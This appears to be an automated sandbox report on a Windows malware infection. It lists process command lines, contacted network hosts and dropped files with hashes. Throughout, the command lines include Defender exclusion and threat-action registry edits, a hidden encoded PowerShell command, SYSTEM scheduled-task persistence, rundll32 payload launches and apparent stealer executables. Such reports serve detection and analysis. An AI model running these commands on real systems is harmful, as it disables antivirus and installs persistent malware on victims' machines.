"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ZmzskowerwXEonlG /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ZmzskowerwXEonlG /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "gjgNCboah" /SC once /ST 00:41:00 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="

C:\Windows\SysWOW64\schtasks.exe

schtasks /run /I /tn "gjgNCboah"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==

C:\Windows\system32\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\system32\gpscript.exe

gpscript.exe /RefreshSystemParam

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "gjgNCboah"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "WKALCIrwIEiqhKBsn" /SC once /ST 00:12:37 /RU "SYSTEM" /TR "\"C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe\" y7 /EnNudidDM 385118 /S" /V1 /F

C:\Windows\SysWOW64\schtasks.exe

schtasks /run /I /tn "WKALCIrwIEiqhKBsn"

C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe

C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe y7 /EnNudidDM 385118 /S

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 472 -ip 472

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 472 -s 888

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\cmd.exe

/C powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "bqGGCwwWIommTRgeuN"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"

C:\Windows\SysWOW64\cmd.exe

/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\JipyTrDkU\fNDfeM.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "jiLwFdOzPPQiWLm" /V1 /F

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True

C:\Windows\SysWOW64\Wbem\WMIC.exe

"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "jiLwFdOzPPQiWLm2" /F /xml "C:\Program Files (x86)\JipyTrDkU\NucnjhC.xml" /RU "SYSTEM"

C:\Windows\SysWOW64\schtasks.exe

schtasks /END /TN "jiLwFdOzPPQiWLm"

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "jiLwFdOzPPQiWLm"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "EyAjTIEydjCaoB" /F /xml "C:\Program Files (x86)\tegRANPZONsU2\ZuoCfDy.xml" /RU "SYSTEM"

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "nwujZhVsLEYxr2" /F /xml "C:\ProgramData\fcblnlcRRSrBhAVB\QRIZTiR.xml" /RU "SYSTEM"

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "njgsfWmNUCIAXOmvm2" /F /xml "C:\Program Files (x86)\krdeMCnRKomDOvwVunR\vyPXefz.xml" /RU "SYSTEM"

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "ZXdYLGWImophNcyfuyr2" /F /xml "C:\Program Files (x86)\YLgKyOFzWxOqC\ugJmwaB.xml" /RU "SYSTEM"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "QdCYtDviHOrgqJLgZ" /SC once /ST 00:24:17 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\ZmzskowerwXEonlG\RWBzimZb\aXGfjRy.dll\",#1 /ecdidgxdy 385118" /V1 /F

C:\Windows\SysWOW64\schtasks.exe

schtasks /run /I /tn "QdCYtDviHOrgqJLgZ"

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\system32\rundll32.EXE

C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\ZmzskowerwXEonlG\RWBzimZb\aXGfjRy.dll",#1 /ecdidgxdy 385118

C:\Windows\SysWOW64\rundll32.exe

C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\ZmzskowerwXEonlG\RWBzimZb\aXGfjRy.dll",#1 /ecdidgxdy 385118

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "WKALCIrwIEiqhKBsn"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 2328 -ip 2328

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2328 -s 1088

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 3904 -ip 3904

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3904 -s 2432

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "QdCYtDviHOrgqJLgZ"

C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe

C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe

C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe

C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe

C:\Users\Admin\Pictures\360TS_Setup.exe

"C:\Users\Admin\Pictures\360TS_Setup.exe" /c:WW.Marketator.CPI20230405 /pmode:2 /s /promo:eyJib290dGltZSI6IjciLCJtZWRhbCI6IjciLCJuZXdzIjoiMCIsIm9wZXJhIjoiNyIsIm9wZXJhX2lucyI6IjAiLCJwb3B1cCI6IjciLCJyZW1pbmRlciI6IjciLCJ1cGdyYWRlX25vdyI6IjAifQo=

C:\Program Files (x86)\1717118862_0\360TS_Setup.exe

"C:\Program Files (x86)\1717118862_0\360TS_Setup.exe" /c:WW.Marketator.CPI20230405 /pmode:2 /s /promo:eyJib290dGltZSI6IjciLCJtZWRhbCI6IjciLCJuZXdzIjoiMCIsIm9wZXJhIjoiNyIsIm9wZXJhX2lucyI6IjAiLCJwb3B1cCI6IjciLCJyZW1pbmRlciI6IjciLCJ1cGdyYWRlX25vdyI6IjAifQo= /TSinstall

Network

Country Destination Domain Proto
RU 147.45.47.70:80 147.45.47.70 tcp
US 8.8.8.8:53 70.47.45.147.in-addr.arpa udp
RU 185.215.113.67:40960 tcp
DE 185.172.128.33:8970 tcp
US 104.21.55.87:443 roomabolishsnifftwk.shop tcp
US 172.67.193.11:443 detailbaconroollyws.shop tcp
DE 23.88.106.134:80 23.88.106.134 tcp
RU 5.42.65.67:48396 tcp
DE 185.172.128.19:80 185.172.128.19 tcp
DE 185.172.128.19:80 185.172.128.19 tcp
SE 194.54.164.123:80 judgecaption.hair tcp
US 8.8.8.8:53 pastebin.com udp
US 104.21.79.77:443 yip.su tcp
US 172.67.19.24:443 pastebin.com tcp
DE 185.172.128.82:80 185.172.128.82 tcp
RU 5.42.66.47:80 5.42.66.47 tcp
US 8.8.8.8:53 free.360totalsecurity.com udp
RU 5.42.66.47:80 5.42.66.47 tcp
FR 51.75.247.100:443 gigapub.ma tcp
US 104.153.233.177:443 f000.backblazeb2.com tcp
NL 151.236.127.172:443 free.360totalsecurity.com tcp
US 8.8.8.8:53 47.66.42.5.in-addr.arpa udp
US 8.8.8.8:53 100.247.75.51.in-addr.arpa udp
N/A 224.0.0.251:5353 udp
IE 54.77.42.29:3478 st.p.360safe.com udp
IE 54.77.42.29:3478 st.p.360safe.com udp
DE 52.29.179.141:80 s.360safe.com tcp
DE 52.29.179.141:80 s.360safe.com tcp
US 104.21.235.70:443 iili.io tcp
US 104.192.108.17:80 tcp
US 104.192.108.21:80 tcp
US 104.192.108.17:80 tcp
US 104.192.108.20:80 tcp
US 104.192.108.21:80 tcp
US 34.117.186.192:443 tcp
US 104.192.108.20:80 tcp
IE 54.76.174.118:80 udp
US 104.192.108.20:80 tcp
US 104.21.235.69:443 iili.io tcp
US 104.192.108.17:80 tcp
US 172.67.174.208:443 tcp
US 8.8.8.8:53 208.174.67.172.in-addr.arpa udp
US 54.210.117.250:443 service-domain.xyz tcp
GB 142.250.187.238:443 clients2.google.com tcp
GB 172.217.16.225:443 clients2.googleusercontent.com tcp
GB 142.250.187.238:443 clients2.google.com tcp
US 44.237.26.169:80 api5.check-data.xyz tcp
BE 2.17.107.128:443 tcp
NL 151.236.127.172:80 tcp
NL 151.236.127.172:80 tcp
NL 151.236.127.172:80 tcp
NL 151.236.127.172:80 tcp
NL 151.236.127.172:80 tcp
DE 52.29.179.141:80 tcp
N/A 35.81.211.41:443 tcp
US 8.8.8.8:53 udp
N/A 18.164.55.80:80 tcp
US 8.8.8.8:53 udp
US 104.21.76.57:443 tcp
N/A 5.42.66.10:80 tcp
US 104.26.9.59:443 tcp
US 172.67.184.107:443 tcp
N/A 104.21.45.202:443 tcp
N/A 104.21.74.118:443 tcp
US 104.192.108.20:80 int.down.360safe.com tcp
US 104.192.108.17:80 int.down.360safe.com tcp
US 104.192.108.20:80 int.down.360safe.com tcp
US 104.21.62.60:443 tcp
RU 45.142.122.192:47398 tcp
US 104.21.71.3:443 femininiespywageg.shop tcp
US 172.67.203.218:443 employhabragaomlsp.shop tcp
US 104.21.22.94:443 understanndtytonyguw.shop tcp
US 104.21.28.32:443 considerrycurrentyws.shop tcp
US 104.192.108.20:80 int.down.360safe.com tcp
US 104.192.108.17:80 int.down.360safe.com tcp
US 104.192.108.20:80 int.down.360safe.com tcp
US 104.192.108.17:80 int.down.360safe.com tcp
US 104.192.108.17:80 int.down.360safe.com tcp
US 104.192.108.20:80 int.down.360safe.com tcp
US 104.192.108.17:80 int.down.360safe.com tcp
US 104.192.108.20:80 int.down.360safe.com tcp
US 104.192.108.17:80 int.down.360safe.com tcp
US 104.192.108.20:80 int.down.360safe.com tcp
US 104.192.108.17:80 int.down.360safe.com tcp
US 104.192.108.20:80 int.down.360safe.com tcp
US 104.192.108.17:80 int.down.360safe.com tcp
US 104.192.108.20:80 int.down.360safe.com tcp
US 104.192.108.21:80 int.down.360safe.com tcp
US 104.192.108.17:80 int.down.360safe.com tcp
US 104.192.108.20:80 tcp
US 104.192.108.17:80 tcp
US 104.192.108.20:80 tcp
US 104.192.108.17:80 tcp
DE 52.29.179.141:80 s.360safe.com tcp
DE 52.29.179.141:80 s.360safe.com tcp
NL 82.145.215.152:443 orion.ts.360.com tcp
US 104.21.3.197:443 stalfbaclcalorieeis.shop tcp
US 104.21.49.245:443 civilianurinedtsraov.shop tcp
US 172.67.158.30:443 messtimetabledkolvk.shop tcp
US 172.67.193.11:443 detailbaconroollyws.shop tcp

Files

memory/2920-0-0x00000000000B0000-0x000000000055D000-memory.dmp

memory/2920-1-0x00000000776D6000-0x00000000776D8000-memory.dmp

memory/2920-2-0x00000000000B1000-0x00000000000DF000-memory.dmp

memory/2920-3-0x00000000000B0000-0x000000000055D000-memory.dmp

memory/2920-5-0x00000000000B0000-0x000000000055D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe

MD5 611ee5d9f6a6491dc7ee3224ea68e77c
SHA1 309290b60e2b8c75d29f29e6884bcd6067c41cfd
SHA256 b2e7774867311abc1d40a394e338077643ee807ef30423274d024bfe3f2d66fb
SHA512 9b546cd6f816e48c459937ad50c81d4efedd9bb5b53b4bb957277b920f177ae9a8dacfb961e1e4e3663673a8fc8a0201d4852bcdccc8f61a4a9394988ec39ef8

memory/2920-17-0x00000000000B0000-0x000000000055D000-memory.dmp

memory/2240-18-0x0000000000600000-0x0000000000AAD000-memory.dmp

memory/2240-19-0x0000000000601000-0x000000000062F000-memory.dmp

memory/2240-20-0x0000000000600000-0x0000000000AAD000-memory.dmp

memory/2240-21-0x0000000000600000-0x0000000000AAD000-memory.dmp

memory/2240-22-0x0000000000600000-0x0000000000AAD000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe

MD5 208bd37e8ead92ed1b933239fb3c7079
SHA1 941191eed14fce000cfedbae9acfcb8761eb3492
SHA256 e1fd277ffc74d67554adce94366e6fa5ebc81f8c4999634bcc3396164ba38494
SHA512 a9c3c32573a16b7ca71a12af6e8c8e88502b66bae2465a82dd921fbc6e0c833b9b1c2d436963df189dd9d68568e1be9128826a2e59f1d5fe066b637d2d866715

memory/2156-38-0x00000000016E0000-0x00000000016E1000-memory.dmp

memory/2156-41-0x00000000016E0000-0x00000000016E1000-memory.dmp

memory/4092-39-0x0000000000400000-0x0000000000592000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe

MD5 84bf36993bdd61d216e83fe391fcc7fd
SHA1 e023212e847a54328aaea05fbe41eb4828855ce6
SHA256 8e6d8b5a004c8f21bee1bbe4213c6d78cf80e439b38f587e963e9bb4569aaffa
SHA512 bb3241949618ad2d39057e085e150f43b4d41d74efc4658d9c27f8c0ec80420191517a2c0b6b7e225c4e50e02cd031cdfd178e05b9a869847a3c27b210d09caf

memory/2036-63-0x0000000005570000-0x0000000005B16000-memory.dmp

memory/2036-62-0x0000000000690000-0x00000000006E2000-memory.dmp

memory/2036-64-0x00000000050A0000-0x0000000005132000-memory.dmp

C:\Users\Admin\AppData\Roaming\configurationValue\One.exe

MD5 816df4ac8c796b73a28159a0b17369b6
SHA1 db8bbb6f73fab9875de4aaa489c03665d2611558
SHA256 7843255bc50ddda8c651f51347313daf07e53a745d39cc61d708c6e7d79b3647
SHA512 7dd155346acf611ffaf6399408f6409146fd724d7d382c7e143e3921e3d109563c314a0367a378b0965e427470f36bf6d70e1586d695a266f34aebd789965285

C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe

MD5 15a7cae61788e4718d3c33abb7be6436
SHA1 62dac3a5d50c93c51f2ab4a5ebf78837dc7d3a9f
SHA256 bed71147aa297d95d2e2c67352fc06f7f631af3b7871ea148638ae66fc41e200
SHA512 5b3e3028523e95452be169bdfb966cd03ea5dbe34b7b98cf7482ca91b8317a0f4de224751d5a530ec23e72cbd6cc8e414d2d3726fefee9c30feab69dc348fa45

memory/2036-79-0x0000000005070000-0x000000000507A000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Tmp54E6.tmp

MD5 1420d30f964eac2c85b2ccfe968eebce
SHA1 bdf9a6876578a3e38079c4f8cf5d6c79687ad750
SHA256 f3327793e3fd1f3f9a93f58d033ed89ce832443e2695beca9f2b04adba049ed9
SHA512 6fcb6ce148e1e246d6805502d4914595957061946751656567a5013d96033dd1769a22a87c45821e7542cde533450e41182cee898cd2ccf911c91bc4822371a8

memory/2036-99-0x0000000005BA0000-0x0000000005C16000-memory.dmp

memory/3276-100-0x0000000000080000-0x00000000000D2000-memory.dmp

memory/2036-101-0x0000000006390000-0x00000000063AE000-memory.dmp

memory/2036-104-0x0000000006C10000-0x0000000007228000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1696768468-2170909707-4198977321-1000\76b53b3ec448f7ccdda2063b15d2bfc3_2ebf137a-1b71-487a-a697-945baa2a07f9

MD5 a50bae09d249f9a838928a1e4434f8f9
SHA1 b247521d38d4c0d878afeb579417b0f40539bba6
SHA256 ac41f17934fed0c33939e6ee5e54c7461e814f06ec78f124066b9fa723196f58
SHA512 408271a01b742627583a72175792bc903807e1efe59fc84d7064ccb087d02ed8a1a9be09953e2a16ae3433e338c19368fbbeffc1cb0188d14c3c92e640f9083e

memory/2036-107-0x0000000006760000-0x000000000686A000-memory.dmp

memory/2036-122-0x00000000066A0000-0x00000000066B2000-memory.dmp

memory/2036-123-0x0000000006700000-0x000000000673C000-memory.dmp

memory/2428-125-0x00000000009F0000-0x0000000000A5C000-memory.dmp

memory/2036-124-0x0000000006870000-0x00000000068BC000-memory.dmp

C:\Users\Admin\Desktop\Microsoft Edge.lnk

MD5 fbb3e0a7ad273c13344e151cc5ff0985
SHA1 3730d5d9edd9e1db1abcd3501e8438212e075734
SHA256 a813c7629f4b734fe106e5187634dd0e5d2a33df3c37ddceb6d44871f2624d3c
SHA512 31385ea8abee3ea815bca79c4d6fab78e76a43af52db0c49e6b1e5a3ec707a98f5f3c68ee65cfc367d60ca9228c049b2191571190fc454da092f7c71d15cab25

C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe

MD5 c4ffab152141150528716daa608d5b92
SHA1 a48d3aecc0e986b6c4369b9d4cfffb08b53aed89
SHA256 c28de1802bdbcf51c88cd1a4ac5c1decb0558fa213d83833cf5dbd990b9ae475
SHA512 a225e98f2bc27e2add9d34bd850e0e66a27bd1db757c979639a636a6efe412e638025c6e235c36188a24c9af2bde4b17d1dbaa0707dce11411402cd5de8024e9

C:\Users\Public\Desktop\Google Chrome.lnk

MD5 df280e890eb8624036b4929bd4a6625e
SHA1 e12e951034fa2cb1c04c20f4ce383fed50192a9d
SHA256 40f1fdf4aad7dcb4155ee799e64490b074055254393a9a919cfab75b14f8dfcc
SHA512 fdc300cbccbdc325d5c2b0400c53adac60c46834510b38cf0260b7bd23d48f9f09a9d99cfe094392e417536aa7857f76ebe2e391de0d056b84688e9a8eb85694

memory/2392-148-0x0000000000400000-0x0000000000455000-memory.dmp

memory/4932-147-0x00000000008E0000-0x00000000008E1000-memory.dmp

memory/2392-146-0x0000000000400000-0x0000000000455000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe

MD5 0b7e08a8268a6d413a322ff62d389bf9
SHA1 e04b849cc01779fe256744ad31562aca833a82c1
SHA256 d23a10b3ff0c565ea8ee7f54bcded0582e1e621ebad69d4523d6746f6d8e0e65
SHA512 3d226673e30bbbc27e0a5a6c64bf81eca475c697486b20141df7975bef97901d4865b88f41937f5e3dd00b437f24f91493f80cb69aa366b7a49cd17b26197ba4

memory/2040-165-0x0000000000400000-0x0000000000459000-memory.dmp

memory/2120-166-0x0000000001120000-0x0000000001121000-memory.dmp

memory/2040-167-0x0000000000400000-0x0000000000459000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe

MD5 05b11e7b711b4aaa512029ffcb529b5a
SHA1 a8074cf8a13f21617632951e008cdfdace73bb83
SHA256 2aab2ca39749b21877d1c52526009f9f5d251d934205e9f671a9e84cecd55afa
SHA512 dde7b561ffb3b9fe71827be9313cd3b83900c3ce76b053d028e84223fba1b06035437b3860a74de7dc2f5d40f0b90bd7d60139701d752c803eb08f362a5d57ff

memory/1224-186-0x0000000000400000-0x000000000063B000-memory.dmp

memory/1224-184-0x0000000000400000-0x000000000063B000-memory.dmp

memory/4652-185-0x00000000031E0000-0x00000000031E1000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe

MD5 749073f260169957a61c1b432f666857
SHA1 bd7868f93e93c73fedd39f1a2877c474f4f9c37d
SHA256 2c8153f6f636f81331153a773085374ee43e599a141acfd005ae9834070fea45
SHA512 1a2a48c9081cb52d2b0a8bf83b3f4f699ca1145c31f65c3392fb0a5d71c796615f6ecca7e32a527b4b32953ddaab77d988c7c077c6691404cef5e5ddae818013

memory/2036-202-0x00000000069C0000-0x0000000006A26000-memory.dmp

memory/2428-209-0x000000001C820000-0x000000001C85C000-memory.dmp

memory/2428-207-0x000000001DD20000-0x000000001DE2A000-memory.dmp

memory/2428-208-0x000000001C5B0000-0x000000001C5C2000-memory.dmp

memory/1096-213-0x000001C1A7A30000-0x000001C1A7A3A000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe

MD5 0099a99f5ffb3c3ae78af0084136fab3
SHA1 0205a065728a9ec1133e8a372b1e3864df776e8c
SHA256 919ae827ff59fcbe3dbaea9e62855a4d27690818189f696cfb5916a88c823226
SHA512 5ac4f3265c7dd7d172284fb28c94f8fc6428c27853e70989f4ec4208f9897be91720e8eee1906d8e843ab05798f3279a12492a32e8a118f5621ac5e1be2031b6

memory/3276-226-0x0000000006D20000-0x0000000006D70000-memory.dmp

memory/2428-230-0x000000001E1B0000-0x000000001E226000-memory.dmp

memory/2428-231-0x000000001C570000-0x000000001C58E000-memory.dmp

memory/2428-233-0x000000001F100000-0x000000001F628000-memory.dmp

memory/2428-232-0x000000001EA00000-0x000000001EBC2000-memory.dmp

memory/2240-234-0x0000000000600000-0x0000000000AAD000-memory.dmp

memory/2036-235-0x00000000077A0000-0x0000000007962000-memory.dmp

memory/2036-236-0x0000000007EA0000-0x00000000083CC000-memory.dmp

memory/1096-238-0x000001C1A7E90000-0x000001C1A7E96000-memory.dmp

memory/1096-239-0x000001C1A9800000-0x000001C1A985C000-memory.dmp

memory/1632-240-0x0000000000400000-0x0000000000408000-memory.dmp

C:\Users\Admin\Pictures\0gx0uRq4IIjCqfLB58fRcIPe.exe

MD5 77f762f953163d7639dff697104e1470
SHA1 ade9fff9ffc2d587d50c636c28e4cd8dd99548d3
SHA256 d9e15bb8027ff52d6d8d4e294c0d690f4bbf9ef3abc6001f69dcf08896fbd4ea
